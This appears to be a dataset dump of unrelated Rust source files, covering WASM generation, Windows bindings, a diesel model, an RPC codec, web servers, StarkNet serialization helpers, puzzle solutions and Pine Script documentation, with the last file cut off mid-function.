text stringlengths 8 4.13M |
|---|
#[macro_use]
extern crate bitflags;
pub mod builder;
pub mod format;
pub mod fuzzer;
pub mod gss;
pub mod networking;
pub mod ntlmssp;
pub mod smb2;
|
use std::collections::HashMap;
use walrus::{FunctionBuilder, Module, ModuleConfig, ValType};
#[derive(Debug, Copy, Clone)]
pub enum NodeKind {
Int,
Add,
Negate,
Switch,
Frame,
}
impl NodeKind {
pub fn inputs(&self) -> Vec<String> {
match self {
NodeKind::Int => vec!["v".to_owned()],
NodeKind::Add => vec!["a".to_owned(), "b".to_owned()],
NodeKind::Negate => vec!["v".to_owned()],
NodeKind::Switch => vec![
"index".to_owned(),
"in0".to_owned(),
"in1".to_owned(),
"in2".to_owned(),
"in3".to_owned(),
],
NodeKind::Frame => vec![],
}
}
pub fn port_index(&self, port: &str) -> Option<usize> {
let inputs = self.inputs();
inputs.iter().position(|s| s == port)
}
}
#[derive(Debug)]
pub struct Node {
pub name: String,
pub x: i32,
pub y: i32,
pub kind: NodeKind,
pub values: HashMap<String, f32>,
}
#[derive(Debug)]
pub struct Connection {
pub output: String,
pub input: String,
pub port: String,
}
#[derive(Debug)]
pub struct Network {
pub name: String,
pub rendered_node: String,
pub nodes: Vec<Node>,
pub connections: Vec<Connection>,
}
fn main() {
// Construct a Walrus module.
let config = ModuleConfig::new();
let mut module = Module::with_config(config);
// Import the "negate" function.
let negate_func_type = module.types.add(&[ValType::F32], &[ValType::F32]);
let negate_func = module.add_import_func("env", "negate", negate_func_type);
// Create the main function type.
let main_func_type = module.types.add(&[], &[ValType::F32]);
// Build the function.
let mut builder = FunctionBuilder::new();
let const_expr = builder.f32_const(42.0);
let expr = builder.call(negate_func, Box::new([const_expr]));
let main_func = builder.finish(main_func_type, vec![], vec![expr], &mut module);
// Add the function to the exports.
module.exports.add("main", main_func);
// Emit the WASM file.
module.emit_wasm_file("out.wasm").unwrap();
}
|
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.
use g2p::g2p;
g2p!(GF131072, 17);
#[test]
fn test_gf131072() {
let z: GF131072 = 0.into();
let e: GF131072 = 1.into();
let a: GF131072 = 131071.into();
let b: GF131072 = 30000.into();
assert_eq!(z, a + a);
assert_eq!(z, a - a);
assert_eq!(e, a * (e / a));
assert_eq!(a * b, b * a);
}
|
use super::util::*;
use crate::{V, ValueBaseOrdered, ValueBase};
fun!(not(b) {
Ok(V::boo(!as_bool(b)?))
});
fun!(and(b, c) {
Ok(V::boo(as_bool(b)? && as_bool(c)?))
});
fun!(or(b, c) {
Ok(V::boo(as_bool(b)? || as_bool(c)?))
});
fun!(if_(b, c) {
let b = as_bool(b)?;
let c = as_bool(c)?;
if b {
Ok(V::boo(c))
} else {
Ok(V::boo(true))
}
});
fun!(iff(b, c) {
Ok(V::boo(as_bool(b)? == as_bool(c)?))
});
fun!(xor(b, c) {
Ok(V::boo(as_bool(b)? != as_bool(c)?))
});
|
pub type IDontSupportEventSubscription = *mut ::core::ffi::c_void;
pub type IEnumEventObject = *mut ::core::ffi::c_void;
pub type IEventClass = *mut ::core::ffi::c_void;
pub type IEventClass2 = *mut ::core::ffi::c_void;
pub type IEventControl = *mut ::core::ffi::c_void;
pub type IEventObjectChange = *mut ::core::ffi::c_void;
pub type IEventObjectChange2 = *mut ::core::ffi::c_void;
pub type IEventObjectCollection = *mut ::core::ffi::c_void;
pub type IEventProperty = *mut ::core::ffi::c_void;
pub type IEventPublisher = *mut ::core::ffi::c_void;
pub type IEventSubscription = *mut ::core::ffi::c_void;
pub type IEventSystem = *mut ::core::ffi::c_void;
pub type IFiringControl = *mut ::core::ffi::c_void;
pub type IMultiInterfaceEventControl = *mut ::core::ffi::c_void;
pub type IMultiInterfacePublisherFilter = *mut ::core::ffi::c_void;
pub type IPublisherFilter = *mut ::core::ffi::c_void;
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub const CEventClass: ::windows_sys::core::GUID = ::windows_sys::core::GUID::from_u128(0xcdbec9c0_7a68_11d1_88f9_0080c7d771bf);
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub const CEventPublisher: ::windows_sys::core::GUID = ::windows_sys::core::GUID::from_u128(0xab944620_79c6_11d1_88f9_0080c7d771bf);
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub const CEventSubscription: ::windows_sys::core::GUID = ::windows_sys::core::GUID::from_u128(0x7542e960_79c7_11d1_88f9_0080c7d771bf);
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub const CEventSystem: ::windows_sys::core::GUID = ::windows_sys::core::GUID::from_u128(0x4e14fba2_2e22_11d1_9964_00c04fbbb345);
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub const EventObjectChange: ::windows_sys::core::GUID = ::windows_sys::core::GUID::from_u128(0xd0565000_9df4_11d1_a281_00c04fca0aa7);
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub const EventObjectChange2: ::windows_sys::core::GUID = ::windows_sys::core::GUID::from_u128(0xbb07bacd_cd56_4e63_a8ff_cbf0355fb9f4);
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub type EOC_ChangeType = i32;
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub const EOC_NewObject: EOC_ChangeType = 0i32;
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub const EOC_ModifiedObject: EOC_ChangeType = 1i32;
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub const EOC_DeletedObject: EOC_ChangeType = 2i32;
#[repr(C)]
#[doc = "*Required features: `\"Win32_System_Com_Events\"`*"]
pub struct COMEVENTSYSCHANGEINFO {
pub cbSize: u32,
pub changeType: EOC_ChangeType,
pub objectId: ::windows_sys::core::BSTR,
pub partitionId: ::windows_sys::core::BSTR,
pub applicationId: ::windows_sys::core::BSTR,
pub reserved: [::windows_sys::core::GUID; 10],
}
impl ::core::marker::Copy for COMEVENTSYSCHANGEINFO {}
impl ::core::clone::Clone for COMEVENTSYSCHANGEINFO {
fn clone(&self) -> Self {
*self
}
}
|
use chrono::{DateTime, Utc};
use diesel::{self, ExpressionMethods, PgConnection, QueryDsl, RunQueryDsl};
use serde::{Deserialize, Serialize};
use errors::Error;
use crate::models::Game;
use crate::schema::rounds::{self, table};
#[derive(Associations, Debug, Deserialize, Identifiable, Serialize, Queryable)]
#[belongs_to(Game)]
pub struct Round {
pub id: i32,
pub player_one: String,
pub player_two: String,
pub game_id: i32,
pub created_at: DateTime<Utc>,
pub updated_at: DateTime<Utc>,
pub locked: bool,
pub finished: bool,
}
#[derive(Insertable)]
#[table_name = "rounds"]
pub struct NewRound {
pub player_one: String,
pub player_two: String,
pub game_id: i32,
}
impl Round {
pub fn create(
conn: &PgConnection,
game_id: i32,
player_one: String,
player_two: String,
) -> Result<Round, Error> {
let round = diesel::insert_into(table)
.values(NewRound {
player_one,
player_two,
game_id,
})
.get_result(conn)?;
Ok(round)
}
pub fn get_active_round_by_game_id(conn: &PgConnection, game_id: i32) -> Result<Round, Error> {
use rounds::dsl::{game_id as game_id_field, locked, rounds as rounds_table};
let round = rounds_table
.filter(game_id_field.eq(game_id))
.filter(locked.eq(false))
.first(conn)?;
Ok(round)
}
pub fn get_latest_round_by_game_id(conn: &PgConnection, game_id: i32) -> Result<Round, Error> {
use rounds::dsl::{created_at, game_id as game_id_field, rounds as rounds_table};
let round = rounds_table
.filter(game_id_field.eq(game_id))
.order(created_at.desc())
.get_result::<Round>(conn)?;
Ok(round)
}
pub fn get_unfinished_round_by_game_id(
conn: &PgConnection,
game_id: i32,
) -> Result<Round, Error> {
use rounds::dsl::{finished, game_id as game_id_field, locked, rounds as rounds_table};
let round = rounds_table
.filter(game_id_field.eq(game_id))
.filter(locked.eq(true))
.filter(finished.eq(false))
.first(conn)?;
Ok(round)
}
pub fn lock(conn: &PgConnection, round_id: i32) -> Result<(), Error> {
use rounds::dsl::{locked, rounds as rounds_table};
diesel::update(rounds_table.find(round_id))
.set(locked.eq(true))
.execute(conn)?;
Ok(())
}
pub fn finish(conn: &PgConnection, round_id: i32) -> Result<(), Error> {
use rounds::dsl::{finished, rounds as rounds_table};
diesel::update(rounds_table.find(round_id))
.set(finished.eq(true))
.execute(conn)?;
Ok(())
}
}
|
//! Networking primitives for asynchronous TCP/UDP communication.
//!
//! This module provides networking functionality for the Transmission Control and User
//! Datagram Protocols, as well as types for IP and socket addresses.
//!
//! # Organization
//!
//! * [`TcpListener`] and [`TcpStream`] provide functionality for communication over TCP
//! * [`UdpSocket`] provides functionality for communication over UDP
//! * Other types are return or parameter types for various methods in this module
//!
//! [`TcpListener`]: struct.TcpListener.html
//! [`TcpStream`]: struct.TcpStream.html
//! [`UdpSocket`]: struct.UdpSocket.html
pub mod tcp;
pub mod udp;
#[doc(inline)]
pub use tcp::{TcpListener, TcpStream};
#[doc(inline)]
pub use udp::UdpSocket;
|
use std::fmt::Debug;
use std::marker::PhantomData;
use std::marker::Send;
use super::facts::{self, Mapping};
pub trait PendingRequests {
fn get_pending(&self, id: u32) -> Option<&'static str>;
}
pub trait Atom<M>: facts::Factual<M> + Debug + Sized + Send + 'static
where
M: Mapping,
{
fn method(&self) -> &'static str;
}
#[derive(Debug)]
pub enum Message<M, P, NP, R>
where
P: Atom<M>,
NP: Atom<M>,
R: Atom<M>,
M: Mapping,
{
Request {
id: u32,
params: P,
phantom: PhantomData<M>,
},
Response {
id: u32,
error: Option<String>,
results: Option<R>,
phantom: PhantomData<M>,
},
Notification {
params: NP,
phantom: PhantomData<M>,
},
}
impl<M, P, NP, R> Message<M, P, NP, R>
where
P: Atom<M>,
NP: Atom<M>,
R: Atom<M>,
M: Mapping,
{
pub fn request(id: u32, params: P) -> Self {
Message::<M, P, NP, R>::Request {
id,
params,
phantom: PhantomData,
}
}
pub fn notification(params: NP) -> Self {
Message::<M, P, NP, R>::Notification {
params,
phantom: PhantomData,
}
}
pub fn response(id: u32, error: Option<String>, results: Option<R>) -> Self {
Message::<M, P, NP, R>::Response {
id,
error,
results,
phantom: PhantomData,
}
}
}
use std::io::{Read, Write};
impl<M, P, NP, R> facts::Factual<M> for Message<M, P, NP, R>
where
P: Atom<M>,
NP: Atom<M>,
R: Atom<M>,
M: Mapping,
{
fn write<W: Write>(&self, mapping: &M, wr: &mut W) -> Result<(), facts::Error> {
match self {
Message::Request { id, params, .. } => {
rmp::encode::write_array_len(wr, 3)?;
0.write(mapping, wr)?;
id.write(mapping, wr)?;
params.write(mapping, wr)?;
}
Message::Response {
id, error, results, ..
} => {
rmp::encode::write_array_len(wr, 4)?;
1.write(mapping, wr)?;
id.write(mapping, wr)?;
error.write(mapping, wr)?;
results.write(mapping, wr)?;
}
Message::Notification { params, .. } => {
rmp::encode::write_array_len(wr, 2)?;
2.write(mapping, wr)?;
params.write(mapping, wr)?;
}
}
Ok(())
}
fn read<Rd: Read>(rd: &mut facts::Reader<Rd>) -> Result<Self, facts::Error>
where
Self: Sized,
{
let len = rd.read_array_len()?;
let typ: u32 = rd.read_int()?;
match typ {
0 => {
// Request
if len != 3 {
unreachable!()
}
Ok(Message::Request {
id: Self::subread(rd)?,
params: Self::subread(rd)?,
phantom: PhantomData,
})
}
1 => {
// Response
if len != 4 {
unreachable!()
}
Ok(Message::Response {
id: Self::subread(rd)?,
error: Self::subread(rd)?,
results: Self::subread(rd)?,
phantom: PhantomData,
})
}
2 => {
// Notification
if len != 2 {
unreachable!()
}
Ok(Message::Notification {
params: Self::subread(rd)?,
phantom: PhantomData,
})
}
_ => unreachable!(),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use facts::Factual;
#[derive(Debug, Default)]
pub struct M {}
impl facts::Mapping for M {}
#[derive(Debug)]
enum Test {
Foo(TestFoo),
Bar(TestBar),
}
impl facts::Factual<M> for Test {
fn write<W: Write>(&self, mapping: &M, wr: &mut W) -> Result<(), facts::Error> {
rmp::encode::write_array_len(wr, 2)?;
match self {
Test::Foo(v) => {
0.write(mapping, wr)?;
v.write(mapping, wr)?;
}
Test::Bar(v) => {
1.write(mapping, wr)?;
v.write(mapping, wr)?;
}
}
Ok(())
}
fn read<R: Read>(rd: &mut facts::Reader<R>) -> Result<Self, facts::Error>
where
Self: Sized,
{
let len = rd.read_array_len()?;
if len != 2 {
unreachable!()
}
let discriminant: u32 = rd.read_int()?;
Ok(match discriminant {
0 => Test::Foo(Self::subread(rd)?),
1 => Test::Bar(Self::subread(rd)?),
_ => unreachable!(),
})
}
}
#[derive(Debug)]
struct TestFoo {
val: i64,
}
impl facts::Factual<M> for TestFoo {
fn write<W: Write>(&self, mapping: &M, wr: &mut W) -> Result<(), facts::Error> {
self.val.write(mapping, wr)
}
fn read<R: Read>(rd: &mut facts::Reader<R>) -> Result<Self, facts::Error>
where
Self: Sized,
{
Ok(Self {
val: Self::subread(rd)?,
})
}
}
#[derive(Debug)]
struct TestBar {
val: String,
bs: facts::Bin,
}
impl facts::Factual<M> for TestBar {
fn write<W: Write>(&self, mapping: &M, wr: &mut W) -> Result<(), facts::Error> {
self.val.write(mapping, wr)?;
self.bs.write(mapping, wr)?;
Ok(())
}
fn read<R: Read>(rd: &mut facts::Reader<R>) -> Result<Self, facts::Error>
where
Self: Sized,
{
Ok(Self {
val: Self::subread(rd)?,
bs: Self::subread(rd)?,
})
}
}
type Message = super::Message<M, Test, Test, Test>;
impl Atom<M> for Test {
fn method(&self) -> &'static str {
match self {
Test::Foo(_) => "Foo",
Test::Bar(_) => "Bar",
}
}
}
#[test]
fn internal() {
cycle(Message::request(420, Test::Foo(TestFoo { val: 69 })));
cycle(Message::request(
420,
Test::Bar(TestBar {
val: "success!".into(),
bs: vec![0x0, 0x15, 0x93].into(),
}),
));
}
fn cycle(m1: Message) {
let mapping = M {};
println!("m1 = {:#?}", m1);
let mut buf1: Vec<u8> = Vec::new();
m1.write(&mapping, &mut buf1).unwrap();
let m2: Message = Message::read(&mut facts::Reader::new(&mut &buf1[..])).unwrap();
println!("m2 = {:#?}", m2);
let mut buf2: Vec<u8> = Vec::new();
m2.write(&mapping, &mut buf2).unwrap();
assert_eq!(buf1, buf2);
}
}
|
use std::io::Read;
fn main() {
let mut buf = String::new();
// 標準入力から全部bufに読み込む
std::io::stdin().read_to_string(&mut buf).unwrap();
let mut iter = buf.split_whitespace();
let N: u8 = iter.next().unwrap().parse().unwrap();
let mut numbers: Vec<u8> = (0..N)
.map(|_| iter.next().unwrap().parse().unwrap())
.collect();
let mut alice = 0;
let mut bob = 0;
let mut tern = 0;
while numbers.len() > 0 {
// ココで参照取ると、numbers.removeでmutable参照が取れない
/*
19 | let max = numbers.iter().max().unwrap();
| ------- immutable borrow occurs here
20 | let max_index: usize = numbers.iter().position(|s| s == max).unwrap();
21 | numbers.remove(max_index);
| ^^^^^^^^^^^^^^^^^^^^^^^^^ mutable borrow occurs here
...
25 | bob += max;
| --- immutable borrow later used here
*/
let max = *numbers.iter().max().unwrap();
let max_index: usize = numbers.iter().position(|&s| s == max).unwrap();
numbers.remove(max_index);
if tern % 2 == 0 {
alice += max;
} else {
bob += max;
}
tern += 1;
}
println!("{}", alice - bob);
}
|
#![deny(warnings)]
use log;
use pretty_env_logger;
use serde::{Deserialize, Serialize};
use warp::Filter;
#[derive(Deserialize, Serialize)]
struct Person {
name: String,
email: String,
age: u32,
}
#[tokio::main]
async fn main() {
pretty_env_logger::init();
// Used to check it the server is running
let health_check = warp::get().map(|| {
log::info!("Server Health Check was Successful");
"The server is up!"
});
// POST /form/ {"name":"Sean","rate":2}
let form = warp::post()
.and(warp::path("form"))
// Only accept bodies smaller than 16kb...
.and(warp::body::content_length_limit(1024 * 16))
.and(warp::body::json())
.map(|person: Person| {
log::info!("/form was successfully reached");
warp::reply::json(&person)
});
let routes = health_check.or(form);
warp::serve(routes).run(([0, 0, 0, 0], 3030)).await
}
|
//! Contains the [RpcFelt] and [RpcFelt251] wrappers around [Felt](stark_hash::Felt) which
//! implement RPC compliant serialization.
//!
//! The wrappers implement [serde_with::SerializeAs] which allows annotating
//! struct fields `serde_as(as = "RpcFelt")`to use the RPC compliant serialization.
//! It also allows specifying container types such as [Option], [Vec] etc: `serde_as(as = "Vec<RpcFelt>")`.
//!
//! ```ignore
//! #[serde_with::serde_as]
//! #[derive(serde::Serialize)]
//! struct Example {
//! #[serde_as(as = "RpcFelt")]
//! hash: TransactionHash,
//!
//! #[serde_as(as = "Option<RpcFelt>")]
//! maybe_hash: Option<TransactionHash>,
//!
//! #[serde_as(as = "Vec<RpcFelt>")]
//! many_hashes: Vec<TransactionHash>,
//! }
//! ```
use pathfinder_common::{
BlockHash, CallParam, CallResultValue, CasmHash, ChainId, ClassHash, ConstructorParam,
ContractAddress, ContractAddressSalt, ContractNonce, EntryPoint, EventData, EventKey,
L1ToL2MessagePayloadElem, L2ToL1MessagePayloadElem, SequencerAddress, SierraHash,
StateCommitment, StorageAddress, StorageValue, TransactionHash, TransactionNonce,
TransactionSignatureElem,
};
use stark_hash::Felt;
/// An RPC specific wrapper around [Felt] which implements
/// [serde::Serialize] in accordance with RPC specifications.
///
/// RPC output types should use this type for serialization instead of [Felt].
///
/// This can be easily accomplished by marking a field with `#[serde_as(as = "RpcFelt")]`.
pub struct RpcFelt(pub Felt);
impl From<Felt> for RpcFelt {
fn from(value: Felt) -> Self {
Self(value)
}
}
impl From<RpcFelt> for Felt {
fn from(value: RpcFelt) -> Self {
value.0
}
}
/// An RPC specific wrapper around [Felt] for types which are restricted to 251 bits. It implements
/// [serde::Serialize] in accordance with RPC specifications.
///
/// RPC output types should use this type for serialization instead of [Felt].
///
/// This can be easily accomplished by marking a field with `#[serde_as(as = "RpcFelt251")]`.
#[derive(serde::Serialize)]
pub struct RpcFelt251(RpcFelt);
mod serialization {
//! Blanket [serde::Serialize] and [serde_with::SerializeAs] implementations for [RpcFelt] and [RpcFelt251]
//! supported types.
use super::*;
impl serde::Serialize for RpcFelt {
fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
where
S: serde::Serializer,
{
// StarkHash has a leading "0x" and at most 64 digits
let mut buf = [0u8; 2 + 64];
let s = self.0.as_hex_str(&mut buf);
serializer.serialize_str(s)
}
}
impl<T> serde_with::SerializeAs<T> for RpcFelt
where
T: Into<RpcFelt> + Clone,
{
fn serialize_as<S>(value: &T, serializer: S) -> Result<S::Ok, S::Error>
where
S: serde::Serializer,
{
use serde::Serialize;
RpcFelt::serialize(&value.clone().into(), serializer)
}
}
impl<T> serde_with::SerializeAs<T> for RpcFelt251
where
T: Into<RpcFelt251> + Clone,
{
fn serialize_as<S>(value: &T, serializer: S) -> Result<S::Ok, S::Error>
where
S: serde::Serializer,
{
use serde::Serialize;
RpcFelt251::serialize(&value.clone().into(), serializer)
}
}
}
/// Generates the required `From` implementations required for the target type
/// to support `#[serde_as(as = "RpcFelt")]` and similar annotations.
///
/// In particular, it generates:
/// - `From<$target> for RpcFelt`
/// - `From<RpcFelt> for $target`
///
/// The target types must be a [Felt] newtype.
macro_rules! rpc_felt_serde {
($target:ident) => {
impl From<$target> for RpcFelt {
fn from(value: $target) -> Self {
RpcFelt(value.0)
}
}
#[cfg(any(test, feature = "rpc-full-serde"))]
impl From<RpcFelt> for $target {
fn from(value: RpcFelt) -> Self {
$target(value.0)
}
}
};
($head:ident, $($tail:ident),+ $(,)?) => {
rpc_felt_serde!($head);
rpc_felt_serde!($($tail),+);
};
}
/// Generates the required `From` implementations required for the target type
/// to support `#[serde_as(as = "RpcFelt251")]` and similar annotations.
///
/// In particular, it generates:
/// - `From<$target> for RpcFelt251`
/// - `From<RpcFelt251> for $target`
///
/// The target types must be a private [Felt] newtype i.e. `$target::get() -> &Felt`
/// must exist.
macro_rules! rpc_felt_251_serde {
($target:ident) => {
impl From<$target> for RpcFelt251 {
fn from(value: $target) -> Self {
RpcFelt251(RpcFelt(value.get().clone()))
}
}
impl From<RpcFelt251> for $target {
fn from(value: RpcFelt251) -> Self {
$target::new_or_panic(value.0.0)
}
}
};
($head:ident, $($tail:ident),+ $(,)?) => {
rpc_felt_251_serde!($head);
rpc_felt_251_serde!($($tail),+);
};
}
rpc_felt_serde!(
CallParam,
CallResultValue,
CasmHash,
ChainId,
ClassHash,
ConstructorParam,
ContractAddressSalt,
ContractNonce,
EntryPoint,
EventKey,
EventData,
L1ToL2MessagePayloadElem,
L2ToL1MessagePayloadElem,
SequencerAddress,
SierraHash,
BlockHash,
TransactionHash,
StateCommitment,
StorageValue,
TransactionNonce,
TransactionSignatureElem,
);
rpc_felt_251_serde!(ContractAddress, StorageAddress);
mod deserialization {
//! Blanket [serde::Deserialize] and [serde_with::DeserializeAs] implementations for [RpcFelt] and [RpcFelt251]
//! supported types.
use super::*;
impl<'de, T> serde_with::DeserializeAs<'de, T> for RpcFelt
where
T: From<RpcFelt>,
{
fn deserialize_as<D>(deserializer: D) -> Result<T, D::Error>
where
D: serde::Deserializer<'de>,
{
use serde::Deserialize;
let rpc_felt: RpcFelt = Deserialize::deserialize(deserializer)?;
Ok(T::from(rpc_felt))
}
}
impl<'de> serde::Deserialize<'de> for RpcFelt {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
where
D: serde::Deserializer<'de>,
{
struct FeltVisitor;
impl<'de> serde::de::Visitor<'de> for FeltVisitor {
type Value = RpcFelt;
fn expecting(&self, formatter: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
formatter
.write_str("a hex string of up to 64 digits with an optional '0x' prefix")
}
fn visit_str<E>(self, v: &str) -> Result<Self::Value, E>
where
E: serde::de::Error,
{
// Felt::from_hex_str currently does not enforce `0x` prefix, add it here to prevent
// breaking other serde related code.
match v.as_bytes() {
&[b'0', b'x', ..] => stark_hash::Felt::from_hex_str(v)
.map_err(|e| serde::de::Error::custom(e))
.map(RpcFelt),
_missing_prefix => Err(serde::de::Error::custom("Missing '0x' prefix")),
}
}
}
deserializer.deserialize_str(FeltVisitor)
}
}
impl<'de, T> serde_with::DeserializeAs<'de, T> for RpcFelt251
where
T: From<RpcFelt251>,
{
fn deserialize_as<D>(deserializer: D) -> Result<T, D::Error>
where
D: serde::Deserializer<'de>,
{
use serde::Deserialize;
let rpc_felt: RpcFelt251 = Deserialize::deserialize(deserializer)?;
Ok(T::from(rpc_felt))
}
}
impl<'de> serde::Deserialize<'de> for RpcFelt251 {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
where
D: serde::Deserializer<'de>,
{
use serde::de::Error;
let felt: RpcFelt = serde::Deserialize::deserialize(deserializer)?;
if felt.0.has_more_than_251_bits() {
return Err(D::Error::custom("Value exceeded 251 bits"));
}
Ok(RpcFelt251(felt))
}
}
}
|
pub mod okta;
use anyhow::{anyhow, Result};
use std::str::FromStr;
#[derive(Serialize, Deserialize, Clone, Debug, PartialEq)]
pub enum ProviderType {
#[serde(alias = "okta", alias = "OKTA")]
Okta,
}
pub struct ProviderSession<T> {
session: T,
}
pub trait Provider<T, U, C> {
fn new_session(&self, profile: &T) -> Result<U>;
fn fetch_aws_credentials(&mut self, profile: &T, session: &U) -> Result<C>;
}
impl FromStr for ProviderType {
type Err = anyhow::Error;
fn from_str(s: &str) -> Result<Self, Self::Err> {
match s {
"okta" | "OKTA" | "Okta" => Ok(ProviderType::Okta),
_ => Err(anyhow!("Unable to determine provider type")),
}
}
}
|
#![allow(non_snake_case, non_camel_case_types, non_upper_case_globals, clashing_extern_declarations, clippy::all)]
#[cfg(feature = "ApplicationModel_SocialInfo_Provider")]
pub mod Provider;
#[link(name = "windows")]
extern "system" {}
pub type SocialFeedChildItem = *mut ::core::ffi::c_void;
pub type SocialFeedContent = *mut ::core::ffi::c_void;
pub type SocialFeedItem = *mut ::core::ffi::c_void;
#[repr(transparent)]
pub struct SocialFeedItemStyle(pub i32);
impl SocialFeedItemStyle {
pub const Default: Self = Self(0i32);
pub const Photo: Self = Self(1i32);
}
impl ::core::marker::Copy for SocialFeedItemStyle {}
impl ::core::clone::Clone for SocialFeedItemStyle {
fn clone(&self) -> Self {
*self
}
}
#[repr(transparent)]
pub struct SocialFeedKind(pub i32);
impl SocialFeedKind {
pub const HomeFeed: Self = Self(0i32);
pub const ContactFeed: Self = Self(1i32);
pub const Dashboard: Self = Self(2i32);
}
impl ::core::marker::Copy for SocialFeedKind {}
impl ::core::clone::Clone for SocialFeedKind {
fn clone(&self) -> Self {
*self
}
}
pub type SocialFeedSharedItem = *mut ::core::ffi::c_void;
#[repr(transparent)]
pub struct SocialFeedUpdateMode(pub i32);
impl SocialFeedUpdateMode {
pub const Append: Self = Self(0i32);
pub const Replace: Self = Self(1i32);
}
impl ::core::marker::Copy for SocialFeedUpdateMode {}
impl ::core::clone::Clone for SocialFeedUpdateMode {
fn clone(&self) -> Self {
*self
}
}
#[repr(transparent)]
pub struct SocialItemBadgeStyle(pub i32);
impl SocialItemBadgeStyle {
pub const Hidden: Self = Self(0i32);
pub const Visible: Self = Self(1i32);
pub const VisibleWithCount: Self = Self(2i32);
}
impl ::core::marker::Copy for SocialItemBadgeStyle {}
impl ::core::clone::Clone for SocialItemBadgeStyle {
fn clone(&self) -> Self {
*self
}
}
pub type SocialItemThumbnail = *mut ::core::ffi::c_void;
pub type SocialUserInfo = *mut ::core::ffi::c_void;
|
#[derive(Eq, PartialEq, Debug)]
struct Rectangle {
width: usize,
height: usize,
x: usize,
y: usize,
id: String,
}
fn main() {
const INPUT: &str = include_str!("../input.txt");
let claims: Vec<Rectangle> = INPUT.lines().map(|claim| build_rectangle(claim)).collect();
let mut grid: Vec<Vec<usize>> = vec![vec![0; 1000]; 1000];
for claim in &claims {
for x_offset in 0..claim.width {
for y_offset in 0..claim.height {
grid[claim.x + x_offset][claim.y + y_offset] += 1;
}
}
}
let mut non_overlapped_claim = "NONE";
for claim_a in &claims {
let mut overlapped = false;
for claim_b in &claims {
if claim_a == claim_b {
continue;
}
if intersects(claim_a, claim_b) {
overlapped = true;
println!("{:?} intersects {:?}", claim_a, claim_b);
break;
}
}
if !overlapped {
non_overlapped_claim = &claim_a.id;
}
}
println!(
"P1: {:?}",
grid.iter()
.flatten()
.filter(|claim_count| claim_count >= &&2)
.collect::<Vec<&usize>>()
.len()
);
println!("{:?}", non_overlapped_claim);
}
fn intersects(a: &Rectangle, b: &Rectangle) -> bool {
if a.x + a.width < b.x {
return false;
}
if a.x > b.x + b.width {
return false;
}
if a.y + a.height < b.y {
return false;
}
if a.y > b.y + b.height {
return false;
}
return true;
}
fn build_rectangle(claim: &str) -> Rectangle {
let coordinates = claim
.split(' ')
.find(|token| token.contains(":"))
.unwrap()
.split(":")
.nth(0)
.unwrap();
let size = claim.split(' ').find(|token| token.contains("x")).unwrap();
let x = coordinates.split(",").nth(0).unwrap();
let y = coordinates.split(",").nth(1).unwrap();
let width = size.split("x").nth(0).unwrap();
let height = size.split("x").nth(1).unwrap();
let id = claim.split(' ').nth(0).unwrap();
return Rectangle {
width: width.parse::<usize>().unwrap(),
height: height.parse::<usize>().unwrap(),
x: x.parse::<usize>().unwrap(),
y: y.parse::<usize>().unwrap(),
id: id.to_string(),
};
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_intersects_true() {
let a = Rectangle {
x: 1,
y: 3,
width: 4,
height: 5,
};
let b = Rectangle {
x: 2,
y: 2,
width: 4,
height: 5,
};
assert_eq!(intersects(a, b), true);
}
#[test]
fn test_intersects_false() {
let a = Rectangle {
x: 1,
y: 3,
width: 4,
height: 5,
};
let b = Rectangle {
x: 200,
y: 2,
width: 4,
height: 5,
};
assert_eq!(intersects(a, b), false);
}
#[test]
fn test_build_rectangle() {
let input = "#1 @ 1,3: 4x5";
let rectangle = build_rectangle(input);
let expected = Rectangle {
x: 1,
y: 3,
width: 4,
height: 5,
};
assert_eq!(rectangle, expected);
}
}
|
extern crate iron;
extern crate router;
extern crate pug;
use iron::prelude::*;
use iron::mime::Mime;
use iron::status;
use pug::parse;
use router::Router;
use rustc_serialize::json;
use std::io::Read;
#[derive(RustcDecodable)]
struct Data {
template: String
}
fn health(_: &mut Request) -> IronResult<Response> {
Ok(Response::with((status::Ok, "OK")))
}
fn parse_pug(req: &mut Request) -> IronResult<Response> {
let mut payload = String::new();
req.body.read_to_string(&mut payload).expect("JSON body expected");
let data: Data = json::decode(&payload).expect("User object expected");
let template = parse(data.template).unwrap();
let content_type = "text/plain".parse::<Mime>().unwrap();
Ok(Response::with((content_type, status::Ok, template)))
}
fn main() {
let mut router = Router::new();
router.get("/health", health, "index");
router.post("/parse", parse_pug, "parse");
println!("Running on http://0.0.0.0:8080");
Iron::new(router).http("0.0.0.0:8080").unwrap();
}
|
use crate::{DocBase, VarType};
const DESCRIPTION: &'static str = r#"
Renders a horizontal line at a given fixed price level.
"#;
const EXAMPLES: &'static str = r#"
```pine
hline(3.14, title='Pi', color=color.blue, linestyle=hline.style_dotted, linewidth=2)
// You may fill the background between any two hlines with a fill() function:
h1 = hline(20)
h2 = hline(10)
fill(h1, h2)
```
"#;
const ARGUMENTS: &'static str = r#"
price (float) Price value at which the object will be rendered. Required argument.
title (string) Title of the object.
color (color) Color of the rendered line. Must be a constant value (not an expression). Optional argument.
linestyle (int) Style of the rendered line. Possible values are: [hline.style_solid](#var-hline-style_solid), [hline.style_dotted](#var-hline-style_dotted), [hline.style_dashed](#var-hline-style_dashed). Optional argument.
linewidth (int) Width of the rendered line, use values from 1 to 4. Default value is 1.
editable (bool) If true then hline style will be editable in Format dialog. Default is true.
"#;
pub fn gen_doc() -> Vec<DocBase> {
let fn_doc = DocBase {
